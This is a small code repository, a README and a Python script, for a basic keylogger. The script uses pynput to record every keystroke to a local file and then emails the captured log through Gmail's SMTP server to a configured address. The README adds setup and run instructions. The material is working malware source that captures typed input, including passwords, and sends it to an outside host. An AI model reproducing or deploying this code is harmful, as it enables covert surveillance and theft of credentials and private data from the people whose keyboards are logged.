├── README.md └── keylogger.py /README.md: -------------------------------------------------------------------------------- 1 | # keylogger 2 | 3 | Keyloggers are programs that capture your key strokes. 4 | They can be used to keep logs of everything you press on the keyboard but on the 5 | flip side it can be used for malicious purposes as well. 6 | 7 | The keylogger that I've made is a basic keylogger with not much functionality as the ones available in market today. 8 | It captures your keystrokes and saves them in a file "keylogger.txt". 9 | 10 | It then sends the contents of the file(i.e. the keystrokes) to your email id. 11 | 12 | With some extra lines of code, it can also send the keystrokes at regular intervals. 13 | But that is a project for another time. 14 | 15 | I have not made it executable so one has to explicitely call it. 16 | 17 | SYNTAX : python keylogger.py 18 | 19 | [NOTE: You need to press esc key to exit out the keylogger.] 20 | 21 | You need to have pynput , smtplib and ssl installed. 22 | 23 | While python comes with the library smtplib and ssl preinstalled. 24 | You can install pynput with : 25 | pip install pynput 26 | 27 | 28 | -------------------------------------------------------------------------------- /keylogger.py: -------------------------------------------------------------------------------- 1 | from pynput import keyboard 2 | import smtplib,ssl 3 | sender_mail = "user@domain.com" # Replace user@domain.com with your email id (everywhere) 4 | #prefer using your own email id for receiver's as well. 5 | receiver_mail = "user@domain.com" # Replace user@domain.com with your email id (everywhere) 6 | password = "passcode" # Enter your Password here 7 | port = 587 8 | message = """From: user@domain.com 9 | To: user@domain.com 10 | Subject: KeyLogs 11 | 12 | 13 | Text: Keylogs 14 | """ 15 | def write(text): 16 | with open("keylogger.txt",'a') as f: 17 | f.write(text) 18 | f.close() 19 | 20 | 21 | def on_key_press(Key): 22 | try: 23 | if(Key == keyboard.Key.enter): 24 | write("\n") 25 | else: 26 | write(Key.char) 27 | except AttributeError: 28 | if Key == keyboard.Key.backspace: 29 | write("\nBackspace Pressed\n") 30 | elif(Key == keyboard.Key.tab): 31 | write("\nTab Pressed\n") 32 | elif(Key == keyboard.Key.space): 33 | write(" "); 34 | else: 35 | temp = repr(Key)+" Pressed.\n" 36 | write(temp) 37 | print("\n{} Pressed\n".format(Key)) 38 | 39 | def on_key_release(Key): 40 | #This stops the Listener/Keylogger. 41 | #You can use any key you like by replacing "esc" with the key of your choice 42 | if(Key == keyboard.Key.esc): 43 | return False 44 | 45 | with keyboard.Listener(on_press= on_key_press,on_release= on_key_release) as listener: 46 | listener.join() 47 | 48 | with open("keylogger.txt",'r') as f: 49 | temp = f.read() 50 | message = message + str(temp) 51 | f.close() 52 | 53 | 54 | context = ssl.create_default_context() 55 | server = smtplib.SMTP('smtp.gmail.com', port) 56 | server.starttls() 57 | server.login(sender_mail,password) 58 | server.sendmail(sender_mail,receiver_mail,message) 59 | print("Email Sent to ",sender_mail) 60 | server.quit() 61 | --------------------------------------------------------------------------------